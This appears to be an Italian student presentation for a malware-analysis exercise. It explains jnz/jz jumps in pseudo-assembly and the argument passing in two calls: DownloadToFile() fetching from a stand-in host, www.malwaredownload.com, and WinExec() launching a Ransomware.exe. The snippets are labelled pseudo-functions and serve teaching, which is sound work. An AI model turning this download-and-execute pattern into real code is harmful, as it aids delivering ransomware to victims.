LARANA, INC.

Progetto S11L5

Spiegazione dei salti condizionali del Malware

In riferimento al codice dato, si possono individuare due salti condizionali:

Il primo Jump si tratta di un jnz (jump not zero) in cui potrà saltare a patto che la ZF (zero flag) è settata a 0. Nel nostro Malware il salto non avverrà in quanto la sorgente è uguale alla destinazione e quindi la ZF sarà settata a 1.

Il secondo Jump è jz (jump zero) in cui potrà saltare se la ZF è settata a 1. Nel nostro codice salto avverrà in quanto avendo sorge e destinazione uguali la ZF verrà setatta a 1.

00401040	mov EAX, 5	
00401044	mov EBX, 10	
00401048	cmp EAX, 5	
0040105B	jnz loc 0040BBA0	; tabella 2

Tabella 2

0040BBA0	mov EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push EAX	; URL
0040BBA8	call DownloadToFile()	; pseudo funzione

0040105F	inc EBX	
00401064	cmp EBX, 11	
00401068	jz loc 0040FFA0	; tabella 3

Successive istruzioni non mostrate dal progetto

Tabella 3

0040FFA0	mov EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push EDX	; .exe da eseguire
0040FFA8	call WinExec()	; pseudo funzione

Spiegare le funzionalità del Malware

Seguendo il diagramma precedente,possiamo capire che se avviene il primo salto metterà in stack il sito malevole con cui successivamente scaricherà l’eseguibile. Con il secondo salto invece andrà a copiare l’eseguibile ed eseguirlo

Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

Tabella 2

- 0040BBA0 mov EAX, EDI EDI= www.malwaredownload.com
- 0040BBA4 push EAX ; URL
- 0040BBA8 call DownloadToFile() ; pseudo funzione

Nella prima linea vediamo che il registro EDI con all'interno l'URL malevolo verrà spostato con l'istruzione mov all'interno del registro EAX. Alla seconda linea invece avremo un push del registro EAX allo stack. E nella terza linea avremo la chiamata DownloadFile che scaricare dall'URL malevolo il presunto Malware

Tabella 3

- 0040FFA0 mov EDX, EDI EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
- 0040FFA4 push EDX ; .exe da eseguire
- 0040FFA8 call WinExec() ; pseudo funzione

Nella prima linea il registro EDI con all’interno il Path per copiare il Ransomware specifico,viene spostato nel registro EDX con l’istruzione mov. Nella seconda linea attraverso l’istruzione push verra pushato nello stack il registro EDX con l’exe da eseguire. Nella terza linea avverrà la chiamata WinExec con cui farà eseguire l’eseguibile pushato nello stack

THANK YOU

Presentation by Samuele Conti